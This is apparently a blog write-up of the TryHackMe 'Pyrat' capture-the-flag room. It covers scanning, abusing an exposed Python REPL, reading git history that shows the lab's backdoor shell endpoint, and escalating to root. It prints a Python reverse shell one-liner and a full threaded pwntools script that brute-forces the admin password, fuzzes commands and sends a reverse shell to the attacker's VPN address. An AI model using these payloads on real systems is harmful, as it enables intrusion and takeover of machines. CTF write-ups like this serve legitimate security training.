Post

TryHackMe Pyrat Writeup

https://tryhackme.com/r/room/pyrat

Explore the fundamentals of cybersecurity in the Pyrat Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.227.210 pyrat.thm

Script to add hosts automatically

1
2
3
ip="10.10.227.210"
domain="pyrat.thm"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV pyrat.thm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Nmap scan report for pyrat.thm (10.10.227.210)
Host is up (0.064s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.95%I=7%D=10/3%Time=66FE26AB%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20defin
SF:ed\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\x20
SF:null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<strin
SF:g>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cannot\
SF:x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\x20
SF:is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x20n
SF:ot\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20string\x
SF:20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"sour
SF:ce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Help,1
SF:B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invalid\x
SF:20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\x20
SF:syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20cod
SF:e\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,"so
SF:urce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Java
SF:RMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\
SF:n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20
SF:bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x20n
SF:ull\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Connection

Run a basic connection attempt:

1
curl http://pyrat.thm:8000

The output suggests trying a more basic connection:

1
nc pyrat.thm 8000

After connecting, you discover you’re in a Python REPL interpreter.

Reverse Shell Setup

On your local machine, start a listener:

1
nc -lvnp 9001

In the Python REPL on the target, execute the following reverse shell command:

Replace <vpn-ip> with your actual VPN IP to receive the connection.

1
2
3
4
5
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<vpn-ip>",9001))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
import pty; pty.spawn("sh")

Post Exploitation

Once the shell is established, you can explore the system. Start by viewing Git configuration files:

1
cat /opt/dev/.git/config

Switch to the user think:

1
su - think

Extract the flags:

1
2
cat user.txt
cat /var/mail/think

You find a mention of a “rat virus” in the mail.

Process Discovery

Running ps reveals an interesting process:

1
ps x
1
13875 ? S 0:00 python3 /root/pyrat.py

Analyzing the Code

Navigate to the development directory and check the commit history:

1
2
cd /opt/dev
git log

You find a commit titled Added shell endpoint:

1
git show 0a3c36d66369fd4b07ddca72e5379461a63470bf

The commit details reveal that a shell endpoint was added to the pyrat.py script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check if socket is admin and downgrade if not approved
        uid = os.getuid()
        if uid == 0:
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e)

This shows that there’s a shell endpoint available in the code.

Root Password

save this as brute:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
import subprocess
import threading
import argparse
from pwn import remote, context, listen

def get_tun0_ip():
    return subprocess.run(
        "ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'", 
        shell=True, check=True, stdout=subprocess.PIPE, universal_newlines=True
    ).stdout.strip()

def start_listener(ip, port):
    listener = listen(port)
    listener.wait_for_connection()
    print(f"[INFO] Reverse shell connected from {ip}:{port}!")
    listener.interactive()

target_ip, target_port = "pyrat.thm", 8000
password_wordlist = "/usr/share/dict/SecLists/Passwords/500-worst-passwords.txt"
command_wordlist = "/usr/share/dict/SecLists/Discovery/Web-Content/burp-parameter-names.txt"
stop_flag, num_threads = threading.Event(), 100
nc_listener_ip, nc_listener_port = get_tun0_ip(), 9001
reverse_shell_payload = f"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);" \
  f"s.connect((\"{nc_listener_ip}\",{nc_listener_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")"

def brute_force_pass(passwords):
    context.log_level = "error"
    r = remote(target_ip, target_port)
    for i, password in enumerate(passwords):
        if stop_flag.is_set():
            return
        if i % 3 == 0:
            r.sendline(b"admin")
            r.recvuntil(b"Password:\n")
        r.sendline(password.encode())
        try:
            if b"shell" in r.recvline(timeout=0.5):
                stop_flag.set()
                print(f"[+] Password found: {password}")
                r.sendline(reverse_shell_payload.encode())
                print("[+] Reverse shell payload sent!")
                return
        except:
            pass
    r.close()

def find_commands(words):
    context.log_level = "error"
    for word in words:
        if stop_flag.is_set():
            return
        if word.strip() == "" or word == "shell":
            continue
        r = remote(target_ip, target_port)
        try:
            r.sendline(word.encode())
            output = r.recvline(timeout=0.15)
            if b'not defined' not in output and b'<string>' not in output and output.strip() != b"":
                print(f"[+] Potential command: {word}")
                print(f"[+] Output: {output.decode().strip()}")
        except Exception as e:
            print(f"[ERROR] An error occurred while processing {word}: {e}")
        finally:
            r.close()

def main(mode):
    wordlist = password_wordlist if mode == "password" else command_wordlist
    target_function = brute_force_pass if mode == "password" else find_commands
    words = [line.strip() for line in open(wordlist, "r").readlines()]
    step = (len(words) + num_threads - 1) // num_threads
    threads = []
    if mode == "password":
        listener_thread = threading.Thread(target=start_listener, args=(nc_listener_ip, nc_listener_port))
        listener_thread.start()
    for i in range(num_threads):
        start, end = i * step, min((i + 1) * step, len(words))
        if start < len(words):
            thread = threading.Thread(target=target_function, args=(words[start:end],))
            threads.append(thread)
            thread.start()
    for thread in threads:
        thread.join()
    if mode == "password":
        listener_thread.join()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Brute Force and Command Discovery Script")
    parser.add_argument("-f", "--find", action="store_true", help="Run in command discovery mode")
    args = parser.parse_args()
    try:
        main("find" if args.find else "password")
    except KeyboardInterrupt:
        print("\n[INFO] Exiting...")
        stop_flag.set()
1
2
chmod +x brute
./brute
1
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.